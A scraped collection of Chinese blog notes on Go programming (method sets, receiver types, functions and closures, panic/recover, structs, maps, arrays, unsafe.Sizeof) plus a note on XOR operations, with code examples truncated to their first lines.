1 | main.T's method set: |
通过输出结果,我们看到了 T
和 *T
类型的方法集合果然有差别的:
T
的方法集合 = T1
的方法集合 + *T2
的方法集合*T
的方法集合 = *T1
的方法集合 + *T2
的方法集合这里需要注意的是,*T
类型的方法集合,它包含的可不是 T1
类型的方法集合,而是 *T1
类型的方法集合,而 *T1
方法集合又包含 T1M1、PT1M2,(T2同理),所以*T
类型的方法集合包含了PT1M2、PT2M2、T1M1、T2M2。
T
和 *T
的方法集合不一样在位运算中,异或运算虽然不常用,但是也非常重要,某些场景下,使用异或运算非常方便。
位运算符作用于位,并逐位执行操作。&、 | 和 ^ 的真值表如下所示:
p | q | p & q(与运算) | p | q(或运算) | p ^ q(异或运算) |
---|---|---|---|---|
0 | 0 | 0 | 0 | 0 |
0 | 1 | 0 | 1 | 1 |
1 | 1 | 1 | 1 | 0 |
1 | 0 | 0 | 1 | 1 |
与运算(AND) 和 或运算(OR) 都比较好理解,所以这篇笔记重点介绍 异或运算(XOR)。
异或,英文为 exclusive OR,缩写成xor,XOR 主要用来判断两个值是否不同。
归零律,一个值与自身的运算,总是为 0:
1 | x ^ x = 0 |
恒等律,一个值与 0 的运算,总是等于其本身:
1 | x ^ 0 = x |
交换律:
1 | x ^ y = y ^ x |
结合律:
1 | x ^ y ^ z = x ^ (y ^ z) = (x ^ y) ^ z |
自反:
1 | x ^ y ^ x = y |
根据上面的这些运算法则,可以得到异或运算的很多重要应用。
多个值的异或运算,可以根据运算定律进行简化。
1 | x ^ y ^ z ^ y ^ x |
两个变量连续进行三次异或运算,可以互相交换值。
假设两个变量是x和y,各自的值是a和b。下面就是x和y进行三次异或运算:
1 | x = x ^ y; // 第一次运算之后,x 的值是 a ^ b,y 的值是 b |
异或运算可以用于加密。
第一步,明文(text)与密钥(key)进行异或运算,可以得到密文(cipherText)。
1 | text ^ key = cipherText |
第二步,密文与密钥再次进行异或运算,就可以还原成明文。
1 | cipherText ^ key = text |
原理很简单,如果明文是 x,密钥是 y,那么 x 连续与 y 进行两次异或运算,得到自身。
1 | (x ^ y) ^ y |
异或运算可以用于数据备份。
文件 x 和文件 y 进行异或运算,产生一个备份文件 z。
1 | x ^ y = z |
以后,无论是文件 x 或文件 y 损坏,只要不是两个原始文件同时损坏,就能根据另一个文件和备份文件,进行还原。
1 | x ^ z |
上面的例子是 y 损坏,x 和 z 进行异或运算,就能得到 y。
给定一个非空整数数组,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。
要求:算法的复杂度是线性的,且不允许使用额外的空间。
示例:
1 | 输入: [4,1,2,1,2] |
解题思路:这里就可以利用异或运算的自反特性,可以将所有相同的数字全部抵消掉,最后留下的就是只出现了一次的元素:
1 | function func($array) |
要想为 receiver 参数选出合理的类型,需要先要了解不同的 receiver 参数类型会对 Go 方法产生怎样的影响。
因为方法的本质就是函数,所以下面从等价转换之后的函数的角度来分析一下对函数有什么影响,间接得出它对 Go 方法的影响呢。
还是从一段示例代码开始。
1 | package main |
在上面的示例中,为基类型分别定义了两个方法 M1 和 M2,其中receiver 参数类型分别是 T
和 *T
,最后两个方法都通过参数 t 对 t的成员进行了修改。
通过运行示例代码之后,可以看到,方法 M1 对成员的修改并没有成功,还是原值,而方法 M2 对成员的修改成功了。因此可以得出以下结论:
T
(非指针)时:receiver 参数实际上是T 类型实例的副本,因此对参数 t 进行任何修改都不会影响到原实例。*T
(指针)时:receiver 参数实际上是T 类型实例的地址,因此对参数 t 进行任何修改都会影响到原实例。了解了不同类型的 receiver 参数对 Go 方法的影响后,就可以总结一下,日常编码中选择 receiver 的参数类型的时候,我们可以参考哪些原则。
如果 Go 方法要把对 receiver 参数代表的类型实例的修改,反映到原类型实例上,那么我们应该选择 *T
作为 receiver 参数的类型。
这个原则很好理解,依据实际情况选择合适的。
不过这个时候可能会有一个问题:
选择*T
作为 receiver 参数的类型,那么是不是只能通过 *T
类型的实例调用该方法,而不能通过 T
类型的实例调用?
正好这也是上一篇笔记中,遗留下了一个问题。
将上面的示例代码改造一下:
1 | type T struct { |
运行示例代码查看输出结果,会发现类型为 T
的实例 t1,不仅可以调用 receiver 参数类型为 T
的方法 M1,它还可以直接调用 receiver 参数类型为 *T
的方法 M2,并且调用完 M2 方法后,成员的值也被修改了。
直接说结论:这是因为 Go 编译器,在背后帮我们做了自动转换。
或者说,t1.M2()
这种用法是 Go 提供的“语法糖”:Go 判断 t1 的类型为 T
(非指针),也就是与方法 M2 的 receiver 参数类型 *T
(指针) 不一致后,会自动将 t1.M2()
转换为 (&t1).M2()
。
同理,t2.M1()
这种用法也是因为 Go 编译器在背后做了转换。也就是,Go 判断 t2 的类型为 *T
(指针),与方法 M1 的 receiver 参数类型 T(非指针)不一致,就会自动将 t2.M1()
转换为(*t2).M1()
。
结论:无论是 T
类型实例,还是 *T
类型实例,都既可以调用 receiver 为 T
类型的方法,也可以调用 receiver 为 *T
类型的方法。
这里做了两次自动转换,涉及到了指针的运用,如果不理解,可以看下这篇笔记。
第一个原则说的是,当要在方法中对 receiver 参数代表的类型实例进行修改,那要为 receiver 参数选择 *T
类型,但是如果不需要在方法中对类型实例进行修改呢?
这个时候是选择 T
类型还是 *T
类型呢?
通常会为 receiver 参数选择 T
类型,这是因为可以缩窄外部修改类型实例内部状态的“接触面”,也就是尽量少暴露可以修改类型内部状态的方法。
不过也有一个例外需要你特别注意。考虑到 Go 方法调用时,receiver 参数是以值拷贝的形式传入方法中的。那么,如果 receiver 参数类型的 size 较大,以值拷贝形式传入就会导致较大的性能开销,这时我们选择 *T 作为 receiver 类型可能更好些。
以上这些可以作为我们选择 receiver 参数类型的第二个原则。
到这里,可能会觉得,前两个原则似乎并不难理解,这是因为这两条只是基础原则,还有一条比较难的原则在下面。
不过在讲解这第三条原则之前,需要先要了解一个基本概念:方法集合(Method Set),它是理解第三条原则的前提。
在了解方法集合是什么之前,我们先通过一个示例,直观了解一下为什么要有方法集合,它主要用来解决什么问题:
1 | type Interface interface { |
上面的示例代码定义了一个接口类型 Interface 以及一个自定义类型 T。Interface 接口类型包含了两个方法 M1 和 M2,它们的基类型都是 T,但它们的 receiver 参数类型不同,一个为 T
,另一个为 *T
。
在 main 函数中,分别将 T
类型实例 t 和 *T
类型实例 pt 赋值给 Interface 类型变量 i。
运行示例代码,会发现编译失败了:
cannot use t (type T) as type Interface in assignment: T does not implement Interface (M2 method has pointer receiver)
大意是:T 没有实现 Interface 类型方法列表中的 M2,因此类型 T 的实例 t 不能赋值给 Interface 变量
在解决这个问题之前,先来了解一下什么是方法集合。
Go 中任何一个类型都有属于自己的方法,或者说方法集合是 Go 类型的一个“属性”。但是不是所有类型都有自己的方法,比如 int 类型就没有,所以,对于没有定义方法的Go 类型,称其拥有空方法集合。
接口类型类型相对特殊,它只会列出代表接口的方法列表,不会具体定义某个方法,它的方法集合就是它的方法列表中的所有方法,因为下面重点讲解的是非接口类型的方法集合。
为了方便查看一个非接口类型的方法集合,提供了一个函数 dumpMethodSet,用于输出一个非接口类型的方法集合:
1 | func dumpMethodSet(i interface{}) { |
下面则利用这个函数,试着输出一下 Go 原生类型以及自定义类型的方法集合:
1 | type T struct{} |
运行上面的示例代码,得到如下输出:
1 | int's method set is empty! |
从上面的输出中,可以看到int
、*int
是 Go 原生类型由于没有定义方法,所以它们的方法集合都是空的。
而自定义类型 T 定义了方法 M1 和 M2,因此它的方法集合包含了 M1 和 M2,符合预期,但是 *T
的方法集合除了预期的 M3 和 M4 之外,怎么还包含了类型 T 的 M1 和 M2 方法?
这是因为,Go 语言规定,*T
类型的方法集合包含所有以 *T
为 receiver 参数类型的方法,以及所有以 T
为 receiver 参数类型的方法。
这就是这个示例中为何 *T
类型的方法集合包含四个方法的原因。
这个时候再来看看前面的那个编译失败的问题,是不是就找到原因了。
可以使用 dumpMethodSet
函数,输出一下该示例中t 与 pt 各自所属类型的方法集合:
1 | main.T's method set: |
从输出结果中,可以看到 T
、*T
各自的方法集合确实是符合上面的结论的。
到这里,已经知道了所谓的方法集合决定接口实现的含义就是:如果某类型 T
的方法集合与某接口类型的方法集合相同,或者类型 T
的方法集合是接口类型 I
方法集合的超集,那么我们就说这个类型 T
实现了接口 I
。或者说,方法集合这个概念在 Go 语言中的主要用途,就是用来判断某个类型是否实现了某个接口。
有了方法集合的概念做铺垫,选择 receiver 参数类型的第三个原则也相对好理解了。
该原则的选择依据就是 T
类型是否需要实现某个接口。
如果 T
类型需要实现某个接口的全部方法,那就要使用 T
作为 receiver 参数的类型,来满足接口类型方法集合中的所有方法。
上面这个总结没有问题,只是有一点绕,想表达的意思是,有一个接口类型I,一个自定义非接口类型T,那么下面这段代码是ok的,即t 可以赋值给i。
1 | type Interface interface { |
但是如果是 *T 实现了I,那么就不能保证 T 也会实现 I,也就是下面这段代码会编译失败。
1 | type Interface interface { |
因此我们在设计一个自定义类型T的方法时,考虑是否T需要实现某个接口。如果需要,方法receiver参数的类型应该是T。如果T不需要,那么用*T或T就都可以了。
T
时,对receiver 参数的任何修改都不会影响到原实例*T
时,对receiver 参数的任何修改都会影响到原实例在 Go 中,定义一个函数最常用的方式就是使用函数声明,以Go 标准库 fmt 包提供的 Fprintf 函数为例,看一下一个普通 Go 函数的声明长什么样:
可以看到一个函数是由五部分组成,下面一一介绍。
Go 函数声明必须以 func 关键字开始。
函数名是指代函数定义的标识符,函数声明后,可以通过函数名这个标识来使用这个函数。
在同一个 Go 包中,函数名是唯一的,如果重复定义则会编译失败。
同样的,函数的定义,也遵守 Go 标识符的导出规则,也就是,如果函数名的首字母是大写表示该函数可以在包外使用,反之,小写的就只在包内使用。
参数列表中声明了将要在函数体中使用的各个参数。
在其他编程语言中,函数参数通常是允许定义默认值的,但是在 Go 语言中,函数参数不支持默认值。
参数名在前,参数类型在后,这和变量声明中变量名与类型的排列方式是一致的。
另外,Go 函数也是支持变长参数,后面详细介绍。
返回值承载了函数执行后要返回给调用者的结果。
如果不仅声明了返回值的类型,还声明了返回值的名称,那么这种返回值被称为具名返回值。
函数体是函数的具体实现。
函数体内并不是一定需要有内容,也就是说,定义一个这样的函数也是合法的:
1 | func foo(arr [5]int) {} |
函数声明中的 func 关键字、参数列表和返回值列表共同构成了函数类型。
而参数列表与返回值列表的组合也被称为函数签名,它是决定两个函数类型是否相同的决定因素。
如果两个函数类型的函数签名是相同的,即便参数列表中的参数名,以及返回值列表中的返回值变量名都是不同的,那么这两个函数类型也是相同类型,比如下面两个函数类型:
1 | func (a int, b string) (results []string, err error) |
每个函数声明所定义的函数,仅仅是对应的函数类型的一个实例,就像 var a int = 13
这个变量声明语句中 a 是 int 类型的一个实例一样。
在前面的笔记中,使用复合类型字面值对结构体类型变量进行显式初始化的内容,在形式上,和上面这种使用变量声明来声明函数变量的形式很像。
把这两种形式都以最简化的样子表现出来:
1 | s := T{} // 使用复合类型字面值对结构体类型T的变量进行显式初始化 |
这里,T{}
被称为复合类型字面值,处于同样位置的 func(){}
叫“函数字面值(Function Literal)”。
可以看到,函数字面值由函数类型与函数体组成,它特别像一个没有函数名的函数声明,因此也叫它匿名函数。匿名函数在 Go 中用途很广,稍后我们会细讲。
Go 语言中,函数参数传递采用是值传递的方式,所谓“值传递”,就是将实际参数在内存中的表示逐位拷贝(Bitwise Copy)到形式参数中。
对于像整型、数组、结构体这类类型,它们的内存表示就是它们自身的数据内容,因此当这些类型作为实参类型时,值传递拷贝的就是它们自身,传递的开销也与它们自身的大小成正比。
但是像 string、切片、map 这些属于引用类型,它们的内存表示对应的是它们数据内容的“描述符”。当这些类型作为实参类型时,值传递拷贝的仅仅是数据内容的“描述符”,不包括数据内容本身,因此这些类型传递的开销是固定的,与数据内容大小无关,这种方式被成为浅拷贝。
不过函数参数的传递也有两个例外,当函数的形参为接口类型,或者形参是变长参数时,简单的值传递就不能满足要求了。
对于类型为接口类型的形参,Go 编译器会把传递的实参赋值给对应的接口类型形参;对于为变长参数的形参,Go 编译器会将零个或多个实参按一
定形式转换为对应的变长形参。
下面通过一段示例代码来说明变长参数的形参:
1 | func myAppend(sl []int, elems ...int) []int { |
重点看一下代码中的 myAppend 函数,在 append 函数的基础上进行了扩展,支持变长参数。
通过打印变长参数的类型,可以看到类型是 []int
,足以说明变长参数实际上是通过切片来实现的。
和其他主流静态类型语言,Go 函数支持多返回值,多返回值可以让函数将更多结果信息返回给它的调用者。
函数返回值列表从形式上看主要有三种:
1 | func foo() // 无返回值 |
前面提到过,如果一个返回值既有类型,也有名称,那么这类返回值就被成为具名返回值。
Go 标准库以及大多数项目代码中的函数,都选择了使用普通的非具名返回值形式。
所以多数情况下,只需声明返回值的类型即可,无需使用具名返回值形式。
函数作为“一等公民”,在 Go 语言中,占据着重要的地位。要知道,并不是在所有编程语言中函数都是“一等公民”。
那么,什么是编程语言的“一等公民”呢?
如果一门编程语言对某种语言元素的创建和使用没有限制,我们可以像对待值(value)一样对待这种语法元素,那么我们就称这种语法元素是这门编程语言的“一等公民”。拥有“一等公民”待遇的语法元素可以存储在变量中,可以作为参数传递给函数,可以在函数内部创建并可以作为返回值从函数返回。——wikipedia
基于这个解释,我们来看看 Go 语言的函数作为“一等公民”,表现出的各种行为特征。
关于这一点,其实前面已经验证过了,下面用一个例子再一次理解一下:
1 | var ( |
在这个例子中,创建一个匿名函数赋值给 myFprintf 变量,通过打印变量类型和调用函数,可以看到预期结果是一致的。
Go 函数不仅可以在函数外创建,还可以在函数内创建。而且由于函数可以存储在变量中,所以函数也可以在创建后,作为函数返回值返回:
1 | // 注意返回值的类型是 函数类型 |
和前面看到的匿名函数不同的是,这个匿名函数使用了定义它的函数 setup 的局部变量 task,这样的匿名函数在 Go 中也被称为闭包(Closure)。
闭包的本质就是匿名函数,不过可以引用它的包裹函数,也就是创建它们的函数中定义的变量,这些变量在包裹函数和匿名函数之间共享,只要闭包可以被访问,这些共享的变量就会继续存在。
函数除了可以存储在变量中、作为返回值返回、还可以作为参数传入。
1 | time.AfterFunc(time.Second*2, func() { println("timer fired") }) |
作为一等公民的整型值拥有自己的类型 int,同样的,作为一等公民的函数,也拥有自己的类型,也就是前面提到的函数类型(由 func 关键字、参数列表和返回值列表共同构成)。
可以基于函数类型来自定义类型,就像基于整型、字符串类型等类型来自定义类型一样。下面代码中的 HandlerFunc、visitFunc 就是 Go 标准库中,基于函数类型进行自定义的类型:
1 | // $GOROOT/src/net/http/server.go |
len
函数可以用于获取一个变量的长度,unsafe.Sizeof
函数用于获取一个数组变量的总大小。len
函数比较简单好理解,使用过程中基本上不会遇到问题,这篇笔记主要介绍 unsafe.Sizeof
。
先来看看这段示例代码:
1 | package main |
执行之后,得到的输出如下:
1 | 数组的长度: 4 |
会不会有些意外?
切片、string、map 的总大小怎么有点奇怪?怎么是 24、16 和 8?
回答这个问题之前,先来看看 unsafe.sizeof
这个函数的定义:
1 | // $GOROOT/src/unsafe/unsafe.go |
大意就是:Sizeof 接受任何类型的表达式 x,并返回一个假设变量 v 的字节大小,就好像 v 是通过 var v=x 声明的,该大小不包括 x 可能引用的任何内存。
例如,如果 x 是一个切片,Sizeof 返回切片描述符的大小,而不是切片引用的内存大小。
什么是描述符呢?
以切片为例,就是它本身并不真正存储字符串数据,而仅是由一个指向底层存储的指针、切片长度和切片最大容量组成。
看到这里会不会清晰一些,有没有想起什么,没错,切片的数据结构刚好是由这三部分组成:
所以,在上面的示例代码中,切片变量的总大小就是 8 + 8 + 8 = 24
个字节。
string 类型也是一样的分析方式,它的描述符是由一个指向底层存储的指针和字符串的长度组成。
string 的数据结构:
string 变量的总大小就是 8 + 8 = 16
个字节。
结构体作为直接存储自身数据的类型,它和数组又有所不同,这是因为结构体是由若干个字段(field)聚合而成,每个字段都有自己的类型,所以结构体占用内存大小取决于组成结构体的各字段大小之和。
还是上面的示例代码,Person 结构体是由一个 string 类型、两个 int 类型组成,所以它占用的内存大小是 16 + 8 + 8 = 32
个字节。
注意,这里的string 就是上面的 string ,所以是 16 个字节。
因为空结构体中没有字段,所以总大小是零。
对于整型、数组、结构体这类类型,它们的内存表示就是它们自身的数据内容,所以计算占用内存大小时,就是组成它们数据本身的大小。
而对于切片、string、map 等类型来说,它们的内存表示则是它们数据内容的“描述符”,所以计算占用内存大小时,需要以描述符的大小为准。
前者作为函数参数传递时,常被提到有性能开销,而后者则没有,也正是这个原因。
]]>函数的使用者可能是任何人,这些人在使用函数之前可能都没有阅读过任何手册或文档,他们会向函数传入你意想不到的参数。因此,为了保证函数的健壮性,函数需要对所有输入的参数进行合法性的检查。
一旦发现问题,立即终止函数的执行,返回预设的错误值。
在函数实现中,通常会调用标准库或第三方包提供的函数或方法。对于这些调用,不能假定它一定会成功,一定要显式地检查这些调用返回的错误值。
一旦发现错误,要及时终止函数执行,防止错误继续传播。
先要确定一个认知:异常不是错误。
错误是可预期的,也是经常会发生的,有对应的公开错误码和错误处理预案,但异常却是少见的、意料之外的。通常意义上的异常,指的是硬件异常、操作系统异常、语言运行时异常,还有更大可能是代码中潜在 bug 导致的异常,比如代码中出现了以 0 作为分母,或者是数组越界访问等情况。
虽然异常发生是“小众事件”,但是不能假定异常就不会发生。
不同编程语言表示异常(Exception)这个概念的语法都不相同,在 Go 语言中,异常这个概念由 panic 表示。
panic 指的是 Go 程序在运行时出现的一个异常情况。如果异常出现了,但没有被捕获并恢复,Go 程序的执行就会被终止,即便出现异常的位置不在主 Goroutine 中也会这样。
在 Go 中,panic 主要有两类来源,一类是来自 Go 运行时,另一类则是 Go 开发人员通过 panic 函数主动触发的。
无论是哪种,一旦 panic 被触发,后续 Go 程序的执行过程都是一样的,这个过程被 Go 语言称为 panicking。
下面用一个例子来直观感受一下 panicking 这个过程:
1 | func foo() { |
在上面的示例中,从 main 函数开始,函数的调用次序依次为 main
-> foo
-> bar
-> zoo
。在 bar 函数中,调用 panic 函数手动触发了 panic。
最终程序的输出结果是:
1 | call main |
下面用一张图来解释程序的调用过程:
关键部分有两处:
不过,Go 也提供了捕捉 panic 并恢复程序正常执行秩序的方法,我们可以通过 recover
函数来实现这一点。
用上面这个例子分析,在触发 panic 的 bar 函数中,对 panic 进行捕捉并恢复,直接来看恢复后,整个程序的执行情况是什么样的(除了 bar 函数调整了,其他函数均没有改变):
1 | func bar() { |
在更新版的 bar 函数中,通过 defer 匿名函数中调用 recover 函数对 panic 进行了捕获:
执行更新后的程序,得到如下结果:
1 | call main |
调用过程如下图所示:
可以看到,此时 main 函数是正常执行完退出的,因为使用了 recover 顺利捕获到了 panic。
面对有如此行为特点的 panic,那么到底该如何使用呢?是不是在所有 Go 函数或方法中,都要用 defer 函数来捕捉和恢复 panic 呢?
其实不用,原因有两点:
下面提供三点经验,可以参考一下。
首先,应该知道一个事实:不同应用对异常引起的程序崩溃退出的忍受度是不一样的。
比如,一个单次运行于控制台窗口中的命令行交互类程序(CLI),和一个常驻内存的后端 HTTP 服务器程序,前者即便因异常崩溃,对用户来说也仅仅是再重新运行一次而已。但后者一旦崩溃,就很可能导致整个网站停止服务。
所以针对各种应用对 panic 忍受度的差异,应该采取的 panic 的策略也是不同的。
像后端 HTTP 服务器程序这样的任务关键系统,就需要在特定的位置捕获并恢复 panic,以保证服务器整体的健壮度。
当一些本不该发生的事情导致程序异常结束时,可以使用 panic 充当类似断言的作用。
在 json 包的 encode.go
中也有使用 panic 充当断言的例子:
1 | // $GOROOT/src/encoding/json/encode.go |
这段代码中,resolve 方法的最后一行代码就相当于一个“代码逻辑不会走到这里”的断言。一旦触发“断言”,这很可能就是一个潜在 bug。
去掉 panic 这行代码并不会对程序造成影响,但是如果存在的话,当问题出现时,就可以借助 panic 作为断言快速定位到问题所在。
在 Go 中,通常会导入大量第三方包,而对于这些第三方包 API 中是否会引发panic,调用者是不知道的。
因此上层代码,也就是 API 调用者根本不会去逐一了解 API 是否会引发panic,也没有义务去处理引发的 panic。因此,在 Go 中,API 的提供者,一定不要将 panic 当作错误返回给 API 调用者。
不过,在学习如何定义一个结构体类型之前,首先要来看看如何在 Go 中自定义一个新类型。
在 Go 中,自定义一个新类型一般有两种方法,下面一一介绍。
使用类型声明语法(Type 关键字),这也是最常用的方式:
1 | type T S // 基于类型 S 定义一个新类型T |
Go 语言中,凡通过类型声明语法声明的类型都被称为 defined 类型。
在这里,S 可以是任何一个已定义的类型,包括 Go 原生类型,或者是其他已定义的自定义类型。
1 | type T1 int |
在上面的示例代码中,新类型 T1 是基于 Go 原生类型 int 定义的新自定义类型,而新类型 T2 则是基于刚刚定义的类型 T1,定义的新类型。
这里引入一个概念:底层类型(Underlying Type)—— 如果一个新类型是基于某个 Go 原生类型或者其他已定义的自定义类型定义的,那么就可以说 Go 原生类型/其他已定义的自定义类型是新类型的底层类型。
底层类型在 Go 语言中有重要作用,它被用来判断两个类型本质上是否相同(Identical)。
在上面例子中,虽然 T1 和 T2 是不同类型,但因为它们的底层类型都是类型 int,所以它们在本质上是相同的。
而本质上相同的两个类型,它们的变量可以通过显式转型进行相互赋值,相反,如果本质上是不同的两个类型,它们的变量间连显式转型都不可能,更不要说相互赋值了。
1 | type T1 int |
除了基于已有类型定义新类型之外,还可以基于类型字面值来定义新类型,这种方式多用于自定义一个新的复合类型:
1 | type M map[int]string // 定义一个 [int]string 类型的 map |
第二种方式是使用类型别名(Type Alias):
1 | type T = S // type alias |
与前面的第一种自定义新类型的方式相比,类型别名在形式上多出了一个等号,其次就是新类型 T 和原类型 S 是完全等价的,完全等价的意思就是,类型别名并没有定义出新类型,类 T 与 S 实际上就是同一种类型。
通过下面这段示例代码来验证:
1 | type T = string |
类型 T 是通过类型别名的方式定义的,T 与 string 实际上是一个类型,所以这里,使用 string 类型变量 s 给 T 类型变量 t 赋值的动作,实质上就是同类型赋值。最后输出的 string 也是符合预期的。
复合类型的定义一般都是通过类型字面值的方式来进行的,作为复合类型之一的结构体类型也不例外:
1 | // 定义一个名称为 T 的结构体类型 |
类型字面值由若干个字段(field)聚合而成,每个字段有自己的名称与类型,且每个字段的名称是唯一的。
另外,这个名称为 T 的结构体,因为首字母是大写的关系,它是带有导出标识符的,所以在其他包中也可以被访问到,反之,如果是小写,则只能在当前包中使用。结构体中的字段也遵循这个规则。
除了上面这种典型的定义方式,还有几种特殊的情况。
可以定义一个空结构体,也就是没有包含任何字段的结构体类型:
1 | type Empty struct{} // Empty是一个不包含任何字段的空结构体类型 |
因为空结构体类型变量的内存占用为 0,基于空结构体类型内存零开销这样的特性,可以作为“事件”信息进行 Goroutine 之间的通信:
1 | var c = make(chan Empty) // 声明一个元素类型为Empty的channel |
这种以空结构体为元素类建立的 channel,是目前能实现的、内存占用最小的 Goroutine 间通信方式。
类型嵌入指的就是在一个类型的定义中嵌入了其他类型,Go 语言支持两种类型嵌入,接口类型的类型嵌入和结构体类型的类型嵌入。
这里先只介绍结构体类型的类型嵌入,后面的笔记中会详细介绍它俩。
1 | type Person struct { |
访问 Book 结构体字段 Author 中的 Phone 字段,下面两种方式是等价的:
1 | var book1 Book1 |
和其他所有变量的声明一样,也可以使用标准变量声明语句,或者是短变量声明语句声明一个结构体类型的变量:
1 | type Book struct { |
零值初始化说的是使用结构体的零值作为它的初始值。
结构体类型的零值变量,通常不具有或者很难具有合理的意义,比如通过下面代码得到的零值 book 变量就是这样:
1 | var book Book // book为零值结构体变量 |
因为一本书既没有书名,也没有作者、页数、索引等信息,那么通过 Book 类型对这本书的抽象就失去了实际价值。所以对于像 Book 这样的结构体类型,使用零值初始化并不是正确的选择。
但是这并不是意味着零值初始化就完全没有意义了,相反,如果一种类型采用零值初始化得到的零值变量,是有意义的,而且是直接可用的。
可以说,定义零值可用类型是简化代码、改善开发者使用体验的一种重要的手段。
Go 标准库中的 bytes.Buffer
结构体类型,就是一个典型的例子:
1 | var b bytes.Buffer |
可以看到不需要对 bytes.Buffer
类型的变量 b 进行任何显式初始化,就可以直接通过处于零值状态的变量 b,调用它的方法进行写入和读取操作。
最简单的对结构体变量进行显式初始化的方式,就是按顺序依次给每个结构体字段进行赋值:
1 | type Book struct { |
这种方式虽然是最简单的,但是却不是最优的,因为存在很多问题:
Go 语言推荐我们用 field:value 形式的复合字面值,对结构体类型变量进行显式初始化:
1 | var book = Book { |
使用这种方式,不用担心结构体字段的顺序。未显式出现在字面值中的结构体字段将采用它对应类型的零值。
很多中文 Go 编程语言类技术书籍都会将它翻译为映射、哈希表或字典,在这篇笔记中约定使用 map。
map 是 Go 语言提供的一种抽象数据类型,用于实现特定键值的快速查找与更新,它表示一组无序的键值对,map 中的每个 key 都是唯一的,并且有与之对应的一个 value。
和切片类似,作为复合类型的 map,它在 Go 中的类型表示也是由 key 类型与 value 类型组成的,就像下面代码:
1 | map[key_type]value_type |
和数组一样,如果两个 map 类型的 key 元素类型相同,value 元素类型也相同,那么我们可以说它们是同一个 map 类型,否则就是不同的 map 类型。
1 | func foo(map[int]int) {} |
需要注意的是 map 虽然对 value 没有限制,但是对 key 的类型有严格的要求。
因为需要保证 key 的唯一性,key 类型就必须支持 ==
和 !=
这两种比较运算符。
那么有哪些类型不能作为 map 的 key 类型呢?
答案是函数类型、map 类型以及切片类型。
可以来做一个实验:
1 | s1 := make([]int, 1) |
可以看到,这三种类型直接进行比较时,会编译失败。
可以这样声明一个 map 变量:
1 | var m map[string]int // 声明一个 map[string]int 类型的变量 |
和切片类型变量一样,如果没有显示赋予 map 变量初始值, map 类型变量的默认值就是 nil
。
不过不同的是,初始值为 nil
的切片,可以借助 append 函数对其进行操作。
而 map 因为自身其复杂的实现方式,无法“零值可用”。
所以,如果直接对处于零值的 map 进行操作,就会导致运行时异常(panic),从而导致程序进程异常退出:
1 | var m map[string]int // m = nil |
所以,在使用 map 之前,必须先对其进行初始化,初始化有两种方式,下面一一说明。
1 | m := map[int]int{} |
和前面声明 map 很像,不过有两点不同:var
关键字替换成了 :=
,其次就是 value 类型后面多了一对花括号。
虽然此时 map 类型变量 m 中没有任何键值对,但变量 m 也不等同于初值为 nil 的 map 变量。
再次进行操作,就不会引发运行异常。
1 | m := map[int]int{} |
对于稍微复杂一些的复合字面值,可以使用 Go 语言提供的“语法糖”省略部分字面值:
1 | type Position struct { |
和切片一样,通过 make 的初始化方式,我们可以为 map 类型变量指定键值对的初始容量,但无法进行具体的键值对赋值:
1 | m1 := make(map[int]string) // 未指定初始容量 |
不过,map 类型的容量不会受限于它的初始容量值,当其中的键值对数量超过初始容量后,Go 运行时会自动增加 map 类型的容量,保证后续键值对的正常插入。
因为 map 是 Go 语言中十分常用的复合数据类型,所以下面来一一了解下常用的操作有哪些。
面对一个非 nil 的 map 类型变量,可以插入符合 map 类型定义的任意键值对。
插入新键值对的方式很简单,我们只需要把 value 赋值给 map 中对应的 key 就可以了:
1 | m := make(map[int]string) |
Go 运行时会负责 map 变量内部的内存管理,因此除非是系统内存耗尽,否则不用担心向 map 中插入新数据的数量和执行结果。
切片可以通过 len 函数获取其长度,map 也可以通过内置函数 len,获取当前变量已经存储的键值对数量:
1 | m := map[string]int { |
不过,这里要注意的是我们不能对 map 类型变量调用 cap,来获取当前容量,这是 map 类型与切片类型的一个不同点。
和写入相比,map 类型更多用在查找和数据读取场合。
所谓查找,就是判断某个 key 是否存在于某个 map 中。有了前面向 map 插入键值对的基础,可能自然而然地想到,可以用下面代码去查找一个键并获得该键对应的值:
1 | m := make(map[string]int) |
乍一看,第二行代码在语法上好像并没有什么不当之处,但其实通过这行语句,无法确定键 key1 是否真实存在于 map 中。
这是因为,当尝试去获取一个键对应的值的时候,如果这个键在 map 中并不存在,也会得到一个值,这个值是 value 元素类型的零值。
以上面这个代码为例,如果键 key1 在 map 中并不存在,那么 v 的值就会被赋予 value 元素类型 int 的零值,也就是 0,所以这种方式是没有办法正确查找的。
Go 语言的 map 类型支持通过用一种名为 comma ok 的惯用法,进行对某个 key 的查询。
1 | m := make(map[string]int) |
可以看到,这里通过一个布尔类型变量 ok,来判断键“key1”是否存在于 map 中。如果存在,变量 v 就会被正确地赋值为键“key1”对应的 value。
不过,如果并不关心某个键对应的 value,而只关心某个键是否在于 map 中,可以使用空标识符 _
替代变量 v,忽略可能返回的 value:
1 | m := make(map[string]int) |
_, ok
这种用法在 Go 语言中也非常常见。
在 Go 语言中,需要借助内置函数 delete 来从 map 中删除数据。
使用 delete 函数的情况下,传入的第一个参数是 map 类型变量,第二个参数就是想要删除的键。
1 | m := map[string]int { |
和切片一样,使用 for range
语句进行遍历。
1 | func doIteration(m map[int]int) { |
每次迭代都会返回一个键值对,其中键存在于变量 k 中,它对应的值存储在变量 v 中。
运行上面的示例代码,可能会得到这样的结果:
1 | { [3, 13] [1, 11] [2, 12] } |
这是因为,对同一 map 做多次遍历的时候,每次遍历元素的次序都不相同。
什么是复合类型?
复合类型就是由多个同构类型(相同类型)或异构类型(不同类型)的元素的值组成而成的。
这篇笔记先来认识一下最简单的复合类型——数组以及和数组有密切关系的切片。
数组的定义:是一个长度固定、由同构类型元素组成的连续序列。
声明一个数组:
1 | var arr [N]T |
Go 语言的数组有两个重要的属性:元素的类型和数组的长度(元素的个数)。
在上面的示例代码中,它的类型为[N]T
,其中元素的类型为 T
,数组的长度为 N
。注意,这里用的是 [N]T
描述它的类型,并不是打错字了,而是为了后面做铺垫。
如果两个数组类型的元素类型 T 与数组长度 N 都是一样的,那么这两个数组类型是等价的,如果有一个属性不同,它们就是两个不同的数组类型。
1 | func foo(arr [5]int) {} |
在上面的示例代码中,arr2 与 arr3 两个变量的类型分别为[6]int
和 [5]string
,前者的长度属性与[5]int
不一致,后者的元素类型属性与[5]int
不一致,因此这两个变量都不能作为调用函数 foo 时的实际参数。
数组类型不仅是逻辑上的连续序列,而且在实际内存分配时也占据着一整块内存。
Go 编译器在为数组类型的变量实际分配内存时,会为 Go 数组分配一整块、可以容纳它所有元素的连续内存,如下图所示:
